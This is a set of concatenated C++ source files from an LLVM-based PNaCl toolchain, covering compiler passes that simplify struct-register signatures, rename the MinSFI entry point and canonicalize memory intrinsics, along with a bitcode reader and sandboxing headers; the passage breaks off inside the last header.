static bool shouldPromote(const Type *Ty) {
return Ty->isAggregateType();
}
// Utility class. For any given type, get the associated type that is free of
// struct register arguments.
class TypeMapper : public SimplifiedFuncTypeMap {
protected:
MappingResult getSimpleFuncType(LLVMContext &Ctx, StructMap &Tentatives,
FunctionType *OldFnTy) override {
Type *OldRetType = OldFnTy->getReturnType();
Type *NewRetType = OldRetType;
Type *Void = Type::getVoidTy(Ctx);
ParamTypeVector NewArgs;
bool Changed = false;
// Struct register returns become the first parameter of the new FT.
// The new FT has void for the return type
if (shouldPromote(OldRetType)) {
NewRetType = Void;
Changed = true;
NewArgs.push_back(getSimpleArgumentType(Ctx, OldRetType, Tentatives));
}
for (auto OldParam : OldFnTy->params()) {
auto NewType = getSimpleArgumentType(Ctx, OldParam, Tentatives);
Changed |= NewType.isChanged();
NewArgs.push_back(NewType);
}
Type *NewFuncType =
FunctionType::get(NewRetType, NewArgs, OldFnTy->isVarArg());
return {NewFuncType, Changed};
}
private:
// Get the simplified type of a function argument.
MappingResult getSimpleArgumentType(LLVMContext &Ctx, Type *Ty,
StructMap &Tentatives) {
// struct registers become pointers to simple structs
if (shouldPromote(Ty)) {
return {PointerType::get(
getSimpleAggregateTypeInternal(Ctx, Ty, Tentatives), 0),
true};
}
return getSimpleAggregateTypeInternal(Ctx, Ty, Tentatives);
}
};
// This is a ModulePass because the pass recreates functions in
// order to change their signatures.
class SimplifyStructRegSignatures : public ModulePass {
public:
static char ID;
SimplifyStructRegSignatures() : ModulePass(ID) {
initializeSimplifyStructRegSignaturesPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
private:
TypeMapper Mapper;
DenseSet<Function *> FunctionsToDelete;
SetVector<CallInst *> CallsToPatch;
SetVector<InvokeInst *> InvokesToPatch;
DenseMap<Function *, Function *> FunctionMap;
bool
simplifyFunction(LLVMContext &Ctx, Function *OldFunc,
DenseMap<const Function *, DISubprogram> &DISubprogramMap);
void scheduleInstructionsForCleanup(Function *NewFunc);
template <class TCall>
void fixCallSite(LLVMContext &Ctx, TCall *Call, unsigned PreferredAlignment);
void fixFunctionBody(LLVMContext &Ctx, Function *OldFunc, Function *NewFunc);
template <class TCall>
TCall *fixCallTargetAndArguments(LLVMContext &Ctx, IRBuilder<> &Builder,
TCall *OldCall, Value *NewTarget,
FunctionType *NewType,
BasicBlock::iterator AllocaInsPoint,
Value *ExtraArg = nullptr);
void checkNoUnsupportedInstructions(LLVMContext &Ctx, Function *Fct);
};
}
char SimplifyStructRegSignatures::ID = 0;
INITIALIZE_PASS(
SimplifyStructRegSignatures, "simplify-struct-reg-signatures",
"Simplify function signatures by removing struct register parameters",
false, false)
// Update the arg names for a newly created function.
static void UpdateArgNames(Function *OldFunc, Function *NewFunc) {
auto NewArgIter = NewFunc->arg_begin();
if (shouldPromote(OldFunc->getReturnType())) {
NewArgIter->setName("retVal");
NewArgIter++;
}
for (const Argument &OldArg : OldFunc->args()) {
Argument *NewArg = NewArgIter++;
NewArg->setName(OldArg.getName() +
(shouldPromote(OldArg.getType()) ? ".ptr" : ""));
}
}
// Replace all uses of an old value with a new one, disregarding the type. We
// correct the types after we wire the new parameters in, in fixFunctionBody.
static void BlindReplace(Value *Old, Value *New) {
for (auto UseIter = Old->use_begin(), E = Old->use_end(); E != UseIter;) {
Use &AUse = *(UseIter++);
AUse.set(New);
}
}
// Adapt the body of a function for the new arguments.
static void ConvertArgumentValue(Value *Old, Value *New, Instruction *InsPoint,
const bool IsAggregateToPtr) {
if (Old == New)
return;
if (Old->getType() == New->getType()) {
Old->replaceAllUsesWith(New);
New->takeName(Old);
return;
}
BlindReplace(Old, (IsAggregateToPtr
? new LoadInst(New, Old->getName() + ".sreg", InsPoint)
: New));
}
// Fix returns. Return true if fixes were needed.
static void FixReturn(Function *OldFunc, Function *NewFunc) {
Argument *FirstNewArg = NewFunc->getArgumentList().begin();
for (auto BIter = NewFunc->begin(), LastBlock = NewFunc->end();
LastBlock != BIter;) {
BasicBlock *BB = BIter++;
for (auto IIter = BB->begin(), LastI = BB->end(); LastI != IIter;) {
Instruction *Instr = IIter++;
if (ReturnInst *Ret = dyn_cast<ReturnInst>(Instr)) {
auto RetVal = Ret->getReturnValue();
IRBuilder<> Builder(Ret);
StoreInst *Store = Builder.CreateStore(RetVal, FirstNewArg);
Store->setAlignment(FirstNewArg->getParamAlignment());
Builder.CreateRetVoid();
Ret->eraseFromParent();
}
}
}
}
/// In the next two functions, `RetIndex` is the index of the possibly promoted
/// return.
/// Ie if the return is promoted, `RetIndex` should be `1`, else `0`.
static AttributeSet CopyRetAttributes(LLVMContext &C, const DataLayout &DL,
const AttributeSet From, Type *RetTy,
const unsigned RetIndex) {
AttributeSet NewAttrs;
if (RetIndex != 0) {
NewAttrs = NewAttrs.addAttribute(C, RetIndex, Attribute::StructRet);
NewAttrs = NewAttrs.addAttribute(C, RetIndex, Attribute::NonNull);
NewAttrs = NewAttrs.addAttribute(C, RetIndex, Attribute::NoCapture);
if (RetTy->isSized()) {
NewAttrs = NewAttrs.addDereferenceableAttr(C, RetIndex,
DL.getTypeAllocSize(RetTy));
}
} else {
NewAttrs = NewAttrs.addAttributes(C, RetIndex, From.getRetAttributes());
}
auto FnAttrs = From.getFnAttributes();
if (RetIndex != 0) {
FnAttrs = FnAttrs.removeAttribute(C, AttributeSet::FunctionIndex,
Attribute::ReadOnly);
FnAttrs = FnAttrs.removeAttribute(C, AttributeSet::FunctionIndex,
Attribute::ReadNone);
}
NewAttrs = NewAttrs.addAttributes(C, AttributeSet::FunctionIndex, FnAttrs);
return NewAttrs;
}
/// Iff the argument in question was promoted, `NewArgTy` should be non-null.
static AttributeSet CopyArgAttributes(AttributeSet NewAttrs, LLVMContext &C,
const DataLayout &DL,
const AttributeSet From,
const unsigned OldArg, Type *NewArgTy,
const unsigned RetIndex) {
const unsigned NewIndex = RetIndex + OldArg + 1;
if (!NewArgTy) {
const unsigned OldIndex = OldArg + 1;
auto OldAttrs = From.getParamAttributes(OldIndex);
if (OldAttrs.getNumSlots() == 0) {
return NewAttrs;
}
// move the params to the new index position:
unsigned OldSlot = 0;
for (; OldSlot < OldAttrs.getNumSlots(); ++OldSlot) {
if (OldAttrs.getSlotIndex(OldSlot) == OldIndex) {
break;
}
}
assert(OldSlot != OldAttrs.getNumSlots());
AttrBuilder B(AttributeSet(), NewIndex);
for (auto II = OldAttrs.begin(OldSlot), IE = OldAttrs.end(OldSlot);
II != IE; ++II) {
B.addAttribute(*II);
}
auto Attrs = AttributeSet::get(C, NewIndex, B);
NewAttrs = NewAttrs.addAttributes(C, NewIndex, Attrs);
return NewAttrs;
} else {
NewAttrs = NewAttrs.addAttribute(C, NewIndex, Attribute::NonNull);
NewAttrs = NewAttrs.addAttribute(C, NewIndex, Attribute::NoCapture);
NewAttrs = NewAttrs.addAttribute(C, NewIndex, Attribute::ReadOnly);
if (NewArgTy->isSized()) {
NewAttrs = NewAttrs.addDereferenceableAttr(C, NewIndex,
DL.getTypeAllocSize(NewArgTy));
}
return NewAttrs;
}
}
// TODO (mtrofin): is this comprehensive?
template <class TCall>
void CopyCallAttributesAndMetadata(TCall *Orig, TCall *NewCall) {
NewCall->setCallingConv(Orig->getCallingConv());
NewCall->setAttributes(NewCall->getAttributes().addAttributes(
Orig->getContext(), AttributeSet::FunctionIndex,
Orig->getAttributes().getFnAttributes()));
NewCall->takeName(Orig);
}
static InvokeInst *CreateCallFrom(InvokeInst *Orig, Value *Target,
ArrayRef<Value *> &Args,
IRBuilder<> &Builder) {
auto Ret = Builder.CreateInvoke(Target, Orig->getNormalDest(),
Orig->getUnwindDest(), Args);
CopyCallAttributesAndMetadata(Orig, Ret);
return Ret;
}
static CallInst *CreateCallFrom(CallInst *Orig, Value *Target,
ArrayRef<Value *> &Args, IRBuilder<> &Builder) {
CallInst *Ret = Builder.CreateCall(Target, Args);
Ret->setTailCallKind(Orig->getTailCallKind());
CopyCallAttributesAndMetadata(Orig, Ret);
return Ret;
}
// Insert Alloca at a specified location (normally, beginning of function)
// to avoid memory leaks if reason for inserting the Alloca
// (typically a call/invoke) is in a loop.
static AllocaInst *InsertAllocaAtLocation(IRBuilder<> &Builder,
BasicBlock::iterator &AllocaInsPoint,
Type *ValType) {
auto SavedInsPoint = Builder.GetInsertPoint();
Builder.SetInsertPoint(AllocaInsPoint);
auto *Alloca = Builder.CreateAlloca(ValType);
AllocaInsPoint = Builder.GetInsertPoint();
Builder.SetInsertPoint(SavedInsPoint);
return Alloca;
}
// Fix a call site by handing return type changes and/or parameter type and
// attribute changes.
template <class TCall>
void SimplifyStructRegSignatures::fixCallSite(LLVMContext &Ctx, TCall *OldCall,
unsigned PreferredAlignment) {
Value *NewTarget = OldCall->getCalledValue();
bool IsTargetFunction = false;
if (Function *CalledFunc = dyn_cast<Function>(NewTarget)) {
NewTarget = this->FunctionMap[CalledFunc];
IsTargetFunction = true;
}
assert(NewTarget);
auto *NewType = cast<FunctionType>(
Mapper.getSimpleType(Ctx, NewTarget->getType())->getPointerElementType());
IRBuilder<> Builder(OldCall);
if (!IsTargetFunction) {
NewTarget = Builder.CreateBitCast(NewTarget, NewType->getPointerTo());
}
auto *OldRetType = OldCall->getType();
const bool IsSRet =
!OldCall->getType()->isVoidTy() && NewType->getReturnType()->isVoidTy();
auto AllocaInsPoint =
OldCall->getParent()->getParent()->getEntryBlock().getFirstInsertionPt();
if (IsSRet) {
auto *Alloca = InsertAllocaAtLocation(Builder, AllocaInsPoint, OldRetType);
Alloca->takeName(OldCall);
Alloca->setAlignment(PreferredAlignment);
auto *NewCall = fixCallTargetAndArguments(Ctx, Builder, OldCall, NewTarget,
NewType, AllocaInsPoint, Alloca);
assert(NewCall);
if (auto *Invoke = dyn_cast<InvokeInst>(OldCall))
Builder.SetInsertPoint(Invoke->getNormalDest()->getFirstInsertionPt());
auto *Load = Builder.CreateLoad(Alloca, Alloca->getName() + ".sreg");
Load->setAlignment(Alloca->getAlignment());
OldCall->replaceAllUsesWith(Load);
} else {
auto *NewCall = fixCallTargetAndArguments(Ctx, Builder, OldCall, NewTarget,
NewType, AllocaInsPoint);
OldCall->replaceAllUsesWith(NewCall);
}
OldCall->eraseFromParent();
}
template <class TCall>
TCall *SimplifyStructRegSignatures::fixCallTargetAndArguments(
LLVMContext &Ctx, IRBuilder<> &Builder, TCall *OldCall, Value *NewTarget,
FunctionType *NewType, BasicBlock::iterator AllocaInsPoint,
Value *ExtraArg) {
SmallVector<Value *, TypicalFuncArity> NewArgs;
const DataLayout &DL = OldCall->getParent() // BB
->getParent() // F
->getParent() // M
->getDataLayout();
const AttributeSet OldSet = OldCall->getAttributes();
unsigned argOffset = ExtraArg ? 1 : 0;
const unsigned RetSlot = AttributeSet::ReturnIndex + argOffset;
if (ExtraArg)
NewArgs.push_back(ExtraArg);
AttributeSet NewSet =
CopyRetAttributes(Ctx, DL, OldSet, OldCall->getType(), RetSlot);
// Go over the argument list used in the call/invoke, in order to
// correctly deal with varargs scenarios.
unsigned NumActualParams = OldCall->getNumArgOperands();
unsigned VarargMark = NewType->getNumParams();
for (unsigned ArgPos = 0; ArgPos < NumActualParams; ArgPos++) {
Use &OldArgUse = OldCall->getOperandUse(ArgPos);
Value *OldArg = OldArgUse;
Type *OldArgType = OldArg->getType();
unsigned NewArgPos = OldArgUse.getOperandNo() + argOffset;
Type *NewArgType = NewType->getFunctionParamType(NewArgPos);
Type *InnerNewArgType = nullptr;
if (OldArgType != NewArgType && shouldPromote(OldArgType)) {
if (NewArgPos >= VarargMark) {
errs() << *OldCall << '\n';
report_fatal_error("Aggregate register vararg is not supported");
}
auto *Alloca =
InsertAllocaAtLocation(Builder, AllocaInsPoint, OldArgType);
Alloca->setName(OldArg->getName() + ".ptr");
Builder.CreateStore(OldArg, Alloca);
NewArgs.push_back(Alloca);
InnerNewArgType = NewArgType->getPointerElementType();
} else if (OldArgType != NewArgType && OldArgType->isPointerTy()) {
// This would be a function ptr or would have a function type nested in
// it.
NewArgs.push_back(Builder.CreatePointerCast(OldArg, NewArgType));
} else {
NewArgs.push_back(OldArg);
}
NewSet = CopyArgAttributes(NewSet, Ctx, DL, OldSet, ArgPos, InnerNewArgType,
RetSlot);
}
ArrayRef<Value *> ArrRef = NewArgs;
TCall *NewCall = CreateCallFrom(OldCall, NewTarget, ArrRef, Builder);
NewCall->setAttributes(NewSet);
return NewCall;
}
void
SimplifyStructRegSignatures::scheduleInstructionsForCleanup(Function *NewFunc) {
for (auto &BBIter : NewFunc->getBasicBlockList()) {
for (auto &IIter : BBIter.getInstList()) {
if (CallInst *Call = dyn_cast<CallInst>(&IIter)) {
if (Function *F = dyn_cast<Function>(Call->getCalledValue())) {
if (F->isIntrinsic()) {
continue;
}
}
CallsToPatch.insert(Call);
} else if (InvokeInst *Invoke = dyn_cast<InvokeInst>(&IIter)) {
InvokesToPatch.insert(Invoke);
}
}
}
}
// Change function body in the light of type changes.
void SimplifyStructRegSignatures::fixFunctionBody(LLVMContext &Ctx,
Function *OldFunc,
Function *NewFunc) {
const DataLayout &DL = OldFunc->getParent()->getDataLayout();
bool returnWasFixed = shouldPromote(OldFunc->getReturnType());
const AttributeSet OldSet = OldFunc->getAttributes();
const unsigned RetSlot = AttributeSet::ReturnIndex + (returnWasFixed ? 1 : 0);
AttributeSet NewSet =
CopyRetAttributes(Ctx, DL, OldSet, OldFunc->getReturnType(), RetSlot);
Instruction *InsPoint = NewFunc->begin()->begin();
auto NewArgIter = NewFunc->arg_begin();
// Advance one more if we used to return a struct register.
if (returnWasFixed)
NewArgIter++;
// Wire new parameters in.
unsigned ArgIndex = 0;
for (auto ArgIter = OldFunc->arg_begin(), E = OldFunc->arg_end();
E != ArgIter; ArgIndex++) {
Argument *OldArg = ArgIter++;
Argument *NewArg = NewArgIter++;
const bool IsAggregateToPtr =
shouldPromote(OldArg->getType()) && NewArg->getType()->isPointerTy();
if (!NewFunc->empty()) {
ConvertArgumentValue(OldArg, NewArg, InsPoint, IsAggregateToPtr);
}
Type *Inner = nullptr;
if (IsAggregateToPtr) {
Inner = NewArg->getType()->getPointerElementType();
}
NewSet =
CopyArgAttributes(NewSet, Ctx, DL, OldSet, ArgIndex, Inner, RetSlot);
}
NewFunc->setAttributes(NewSet);
// Now fix instruction types. We know that each value could only possibly be
// of a simplified type. At the end of this, call sites will be invalid, but
// we handle that afterwards, to make sure we have all the functions changed
// first (so that calls have valid targets)
for (auto BBIter = NewFunc->begin(), LBlock = NewFunc->end();
LBlock != BBIter;) {
auto Block = BBIter++;
for (auto IIter = Block->begin(), LIns = Block->end(); LIns != IIter;) {
auto Instr = IIter++;
auto *NewTy = Mapper.getSimpleType(Ctx, Instr->getType());
Instr->mutateType(NewTy);
if (isa<CallInst>(Instr) ||
isa<InvokeInst>(Instr)) {
continue;
}
for (unsigned OpI = 0; OpI < Instr->getNumOperands(); OpI++) {
if(Constant *C = dyn_cast<Constant>(Instr->getOperand(OpI))) {
auto *NewTy = Mapper.getSimpleType(Ctx, C->getType());
if (NewTy == C->getType()) { continue; }
const auto CastOp = CastInst::getCastOpcode(C, false, NewTy, false);
auto *NewOp = ConstantExpr::getCast(CastOp, C, NewTy);
Instr->setOperand(OpI, NewOp);
}
}
}
}
if (returnWasFixed)
FixReturn(OldFunc, NewFunc);
}
// Ensure function is simplified, returning true if the function
// had to be changed.
bool SimplifyStructRegSignatures::simplifyFunction(
LLVMContext &Ctx, Function *OldFunc,
DenseMap<const Function *, DISubprogram> &DISubprogramMap) {
auto *OldFT = OldFunc->getFunctionType();
auto *NewFT = cast<FunctionType>(Mapper.getSimpleType(Ctx, OldFT));
Function *&AssociatedFctLoc = FunctionMap[OldFunc];
if (NewFT != OldFT) {
auto *NewFunc = Function::Create(NewFT, OldFunc->getLinkage());
AssociatedFctLoc = NewFunc;
OldFunc->getParent()->getFunctionList().insert(OldFunc, NewFunc);
NewFunc->takeName(OldFunc);
UpdateArgNames(OldFunc, NewFunc);
NewFunc->getBasicBlockList().splice(NewFunc->begin(),
OldFunc->getBasicBlockList());
fixFunctionBody(Ctx, OldFunc, NewFunc);
Constant *Cast = ConstantExpr::getPointerCast(NewFunc, OldFunc->getType());
OldFunc->replaceAllUsesWith(Cast);
FunctionsToDelete.insert(OldFunc);
auto Found = DISubprogramMap.find(OldFunc);
if (Found != DISubprogramMap.end())
Found->second->replaceFunction(NewFunc);
} else {
AssociatedFctLoc = OldFunc;
}
scheduleInstructionsForCleanup(AssociatedFctLoc);
return NewFT != OldFT;
}
bool SimplifyStructRegSignatures::runOnModule(Module &M) {
bool Changed = false;
unsigned PreferredAlignment = 0;
PreferredAlignment = M.getDataLayout().getStackAlignment();
LLVMContext &Ctx = M.getContext();
auto DISubprogramMap = makeSubprogramMap(M);
// Change function signatures and fix a changed function body by
// wiring the new arguments. Call sites are unchanged at this point.
for (Module::iterator Iter = M.begin(), E = M.end(); Iter != E;) {
Function *Func = Iter++;
if (Func->isIntrinsic()) {
// Can't rewrite intrinsics.
continue;
}
checkNoUnsupportedInstructions(Ctx, Func);
Changed |= simplifyFunction(Ctx, Func, DISubprogramMap);
}
// Fix call sites.
for (auto &CallToFix : CallsToPatch) {
fixCallSite(Ctx, CallToFix, PreferredAlignment);
}
for (auto &InvokeToFix : InvokesToPatch) {
fixCallSite(Ctx, InvokeToFix, PreferredAlignment);
}
// Delete leftover functions - the ones with old signatures.
for (auto &ToDelete : FunctionsToDelete) {
ToDelete->eraseFromParent();
}
return Changed;
}
void
SimplifyStructRegSignatures::checkNoUnsupportedInstructions(LLVMContext &Ctx,
Function *Fct) {
for (auto &BB : Fct->getBasicBlockList())
for (auto &Inst : BB.getInstList())
if (auto *Landing = dyn_cast<LandingPadInst>(&Inst)) {
auto *LType = Landing->getPersonalityFn()->getType();
if (LType != Mapper.getSimpleType(Ctx, LType)) {
errs() << *Landing << '\n';
report_fatal_error("Landing pads with aggregate register "
"signatures are not supported.");
}
} else if (auto *Resume = dyn_cast<ResumeInst>(&Inst)) {
auto *RType = Resume->getValue()->getType();
if (RType != Mapper.getSimpleType(Ctx, RType)) {
errs() << *Resume << '\n';
report_fatal_error(
"Resumes with aggregate register signatures are not supported.");
}
}
}
ModulePass *llvm::createSimplifyStructRegSignaturesPass() {
return new SimplifyStructRegSignatures();
}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeMungeReader.cpp
//===- NaClBitcodeMungeReader.cpp - Read bitcode record list ----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Implements bitcode reader for NaClBitcodeRecordList and NaClMungedBitcode.
#include "llvm/Bitcode/NaCl/NaClBitcodeMungeUtils.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeHeader.h"
using namespace llvm;
namespace {
class BitcodeParser;
// \brief The state associated with parsing a bitcode buffer.
class BitcodeParseState {
BitcodeParseState(const BitcodeParseState&) = delete;
BitcodeParseState &operator=(const BitcodeParseState&) = delete;
public:
// \brief Construct the bitcode parse state.
//
// \param Parser The parser used to parse the bitcode.
// \param[out] Records Filled with parsed records.
BitcodeParseState(BitcodeParser *Parser,
NaClBitcodeRecordList &Records);
// List to read records into.
NaClBitcodeRecordList &Records;
// Listener used to get abbreviations as they are read.
NaClBitcodeParserListener AbbrevListener;
};
// \brief The bitcode parser to extract bitcode records.
class BitcodeParser : public NaClBitcodeParser {
BitcodeParser(const BitcodeParser &) = delete;
BitcodeParser &operator=(const BitcodeParser&) = delete;
public:
// \brief Top-level constructor for a bitcode parser.
//
// \param Cursor The beginning position of the bitcode to parse.
// \param[out] Records Filled with parsed records.
BitcodeParser(NaClBitstreamCursor &Cursor,
NaClBitcodeRecordList &Records)
: NaClBitcodeParser(Cursor),
State(new BitcodeParseState(this, Records)) {
SetListener(&State->AbbrevListener);
}
~BitcodeParser() override {
if (EnclosingParser == nullptr)
delete State;
}
bool ParseBlock(unsigned BlockID) override {
BitcodeParser NestedParser(BlockID, this);
return NestedParser.ParseThisBlock();
}
void EnterBlock(unsigned NumWords) override {
NaClRecordVector Values;
Values.push_back(GetBlockID());
Values.push_back(Record.GetCursor().getAbbrevIDWidth());
std::unique_ptr<NaClBitcodeAbbrevRecord> AbbrevRec(
new NaClBitcodeAbbrevRecord(naclbitc::ENTER_SUBBLOCK,
naclbitc::BLK_CODE_ENTER,
Values));
State->Records.push_back(std::move(AbbrevRec));
}
void ExitBlock() override {
NaClRecordVector Values;
std::unique_ptr<NaClBitcodeAbbrevRecord> AbbrevRec(
new NaClBitcodeAbbrevRecord(naclbitc::END_BLOCK,
naclbitc::BLK_CODE_EXIT,
Values));
State->Records.push_back(std::move(AbbrevRec));
}
void ProcessRecord() override {
std::unique_ptr<NaClBitcodeAbbrevRecord> AbbrevRec(
new NaClBitcodeAbbrevRecord(Record.GetAbbreviationIndex(),
Record.GetCode(),
Record.GetValues()));
State->Records.push_back(std::move(AbbrevRec));
}
void SetBID() override {
ProcessRecord();
}
void ProcessAbbreviation(unsigned BlockID,
NaClBitCodeAbbrev *Abbrev,
bool IsLocal) override {
ProcessRecord();
}
private:
// \brief Nested constructor for blocks within the bitcode buffer.
//
// \param BlockID The identifying constant associated with the block.
// \param EnclosingParser The bitcode parser parsing the enclosing block.
BitcodeParser(unsigned BlockID, BitcodeParser *EnclosingParser)
: NaClBitcodeParser(BlockID, EnclosingParser),
State(EnclosingParser->State) {}
// The state of the bitcode parser.
BitcodeParseState* State;
};
BitcodeParseState::BitcodeParseState(BitcodeParser *Parser,
NaClBitcodeRecordList &Records)
: Records(Records), AbbrevListener(Parser) {}
} // end of anonymous namespace
void llvm::readNaClBitcodeRecordList(
NaClBitcodeRecordList &RecordList,
std::unique_ptr<MemoryBuffer> InputBuffer) {
if (InputBuffer->getBufferSize() % 4 != 0)
report_fatal_error(
"Bitcode stream must be a multiple of 4 bytes in length");
const unsigned char *BufPtr =
(const unsigned char *) InputBuffer->getBufferStart();
const unsigned char *EndBufPtr = BufPtr + InputBuffer->getBufferSize();
// Read header and verify it is good.
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr))
report_fatal_error("Invalid PNaCl bitcode header.\n");
if (!Header.IsSupported())
errs() << Header.Unsupported();
if (!Header.IsReadable())
report_fatal_error("Invalid PNaCl bitcode header.\n");
NaClBitstreamReader Reader(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor Cursor(Reader);
// Parse the bitcode buffer.
BitcodeParser Parser(Cursor, RecordList);
while (!Cursor.AtEndOfStream()) {
if (Parser.Parse())
report_fatal_error("Malformed records founds, unable to continue");
}
}
<file_sep>/lib/Transforms/MinSFI/RenameEntryPoint.cpp
//===- RenameEntryPoint.cpp - Rename _start to avoid linking collisions ---===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// MinSFI compiles PNaCl bitcode into a native object file and links it into
// a standard C program. However, both C and PNaCl name their entry points
// '_start' which causes a linking collision. This pass therefore renames the
// entry function of the MinSFI module to '_start_minsfi'. By changing the name
// in the bitcode, we also avoid relying on objcopy.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Module.h"
#include "llvm/Transforms/MinSFI.h"
using namespace llvm;
static const char PNaClEntryPointName[] = "_start";
const char minsfi::EntryFunctionName[] = "_start_minsfi";
namespace {
class RenameEntryPoint : public ModulePass {
public:
static char ID;
RenameEntryPoint() : ModulePass(ID) {
initializeRenameEntryPointPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
} // namespace
bool RenameEntryPoint::runOnModule(Module &M) {
if (M.getNamedValue(minsfi::EntryFunctionName)) {
report_fatal_error(std::string("RenameEntryPoint: The module already "
"contains a value named '") +
minsfi::EntryFunctionName + "'");
}
Function *EntryFunc = M.getFunction(PNaClEntryPointName);
if (!EntryFunc) {
report_fatal_error(std::string("RenameEntryPoint: The module does not "
"contain a function named '") +
PNaClEntryPointName + "'");
}
EntryFunc->setName(minsfi::EntryFunctionName);
return true;
}
char RenameEntryPoint::ID = 0;
INITIALIZE_PASS(RenameEntryPoint, "minsfi-rename-entry-point",
"Rename _start to avoid linking collisions", false, false)
ModulePass *llvm::createRenameEntryPointPass() {
return new RenameEntryPoint();
}
<file_sep>/lib/Transforms/NaCl/CanonicalizeMemIntrinsics.cpp
//===- CanonicalizeMemIntrinsics.cpp - Make memcpy's "len" arg consistent--===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass canonicalizes uses of the llvm.memset, llvm.memcpy and
// llvm.memmove intrinsics so that the variants with 64-bit "len"
// arguments aren't used, and the 32-bit variants are used instead.
//
// This means the PNaCl translator won't need to handle two versions
// of each of these intrinsics, and it won't need to do any implicit
// truncations from 64-bit to 32-bit.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This is a ModulePass because that makes it easier to find all
// uses of intrinsics efficiently.
class CanonicalizeMemIntrinsics : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
CanonicalizeMemIntrinsics() : ModulePass(ID) {
initializeCanonicalizeMemIntrinsicsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char CanonicalizeMemIntrinsics::ID = 0;
INITIALIZE_PASS(CanonicalizeMemIntrinsics, "canonicalize-mem-intrinsics",
"Make memcpy() et al's \"len\" argument consistent",
false, false)
static bool expandIntrinsic(Module *M, Intrinsic::ID ID) {
SmallVector<Type *, 3> Types;
Types.push_back(Type::getInt8PtrTy(M->getContext()));
if (ID != Intrinsic::memset)
Types.push_back(Type::getInt8PtrTy(M->getContext()));
unsigned LengthTypePos = Types.size();
Types.push_back(Type::getInt64Ty(M->getContext()));
std::string OldName = Intrinsic::getName(ID, Types);
Function *OldIntrinsic = M->getFunction(OldName);
if (!OldIntrinsic)
return false;
Types[LengthTypePos] = Type::getInt32Ty(M->getContext());
Function *NewIntrinsic = Intrinsic::getDeclaration(M, ID, Types);
SmallVector<CallInst *, 64> Calls;
for (User *U : OldIntrinsic->users()) {
if (CallInst *Call = dyn_cast<CallInst>(U))
Calls.push_back(Call);
else
report_fatal_error("CanonicalizeMemIntrinsics: Taking the address of an "
"intrinsic is not allowed: " +
OldName);
}
for (CallInst *Call : Calls) {
// This temporarily leaves Call non-well-typed.
Call->setCalledFunction(NewIntrinsic);
// Truncate the "len" argument. No overflow check.
IRBuilder<> Builder(Call);
Value *Length = Builder.CreateTrunc(Call->getArgOperand(2),
Type::getInt32Ty(M->getContext()),
"mem_len_truncate");
Call->setArgOperand(2, Length);
}
OldIntrinsic->eraseFromParent();
return true;
}
bool CanonicalizeMemIntrinsics::runOnModule(Module &M) {
bool Changed = false;
Changed |= expandIntrinsic(&M, Intrinsic::memset);
Changed |= expandIntrinsic(&M, Intrinsic::memcpy);
Changed |= expandIntrinsic(&M, Intrinsic::memmove);
return Changed;
}
ModulePass *llvm::createCanonicalizeMemIntrinsicsPass() {
return new CanonicalizeMemIntrinsics();
}
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMMCNaCl.h
//===-- ARMMCNaCl.h - Prototype for CustomExpandInstNaClARM ---*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef ARMMCNACL_H
#define ARMMCNACL_H
#include "llvm/MC/MCInst.h"
namespace llvm {
class MCStreamer;
class MCSubtargetInfo;
class ARMMCNaClSFIState {
public:
static const int MaxSaved = 4;
MCInst Saved[MaxSaved];
int SaveCount;
int I;
bool RecursiveCall;
};
bool CustomExpandInstNaClARM(const MCSubtargetInfo &STI, const MCInst &Inst,
MCStreamer &Out, ARMMCNaClSFIState &State);
}
#endif
<file_sep>/lib/Transforms/NaCl/ExceptionInfoWriter.h
//===-- ExceptionInfoWriter.h - Generate C++ exception info------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef TRANSFORMS_NACL_EXCEPTIONINFOWRITER_H
#define TRANSFORMS_NACL_EXCEPTIONINFOWRITER_H
#include "llvm/ADT/DenseMap.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
namespace llvm {
// The ExceptionInfoWriter class converts the clauses of a
// "landingpad" instruction into data tables stored in global
// variables, which are interpreted by PNaCl's C++ runtime library.
// See ExceptionInfoWriter.cpp for a full description.
class ExceptionInfoWriter {
LLVMContext *Context;
StructType *ActionTableEntryTy;
// Data for populating __pnacl_eh_type_table[], which is an array of
// std::type_info* pointers. Each of these pointers represents a
// C++ exception type.
SmallVector<Constant *, 10> TypeTableData;
// Mapping from std::type_info* pointer to type ID (index in
// TypeTableData).
typedef DenseMap<Constant *, unsigned> TypeTableIDMapType;
TypeTableIDMapType TypeTableIDMap;
// Data for populating __pnacl_eh_action_table[], which is an array
// of pairs.
SmallVector<Constant *, 10> ActionTableData;
// Pair of (clause_id, clause_list_id).
typedef std::pair<unsigned, unsigned> ActionTableEntry;
// Mapping from (clause_id, clause_list_id) to clause_id (index in
// ActionTableData).
typedef DenseMap<ActionTableEntry, unsigned> ActionTableIDMapType;
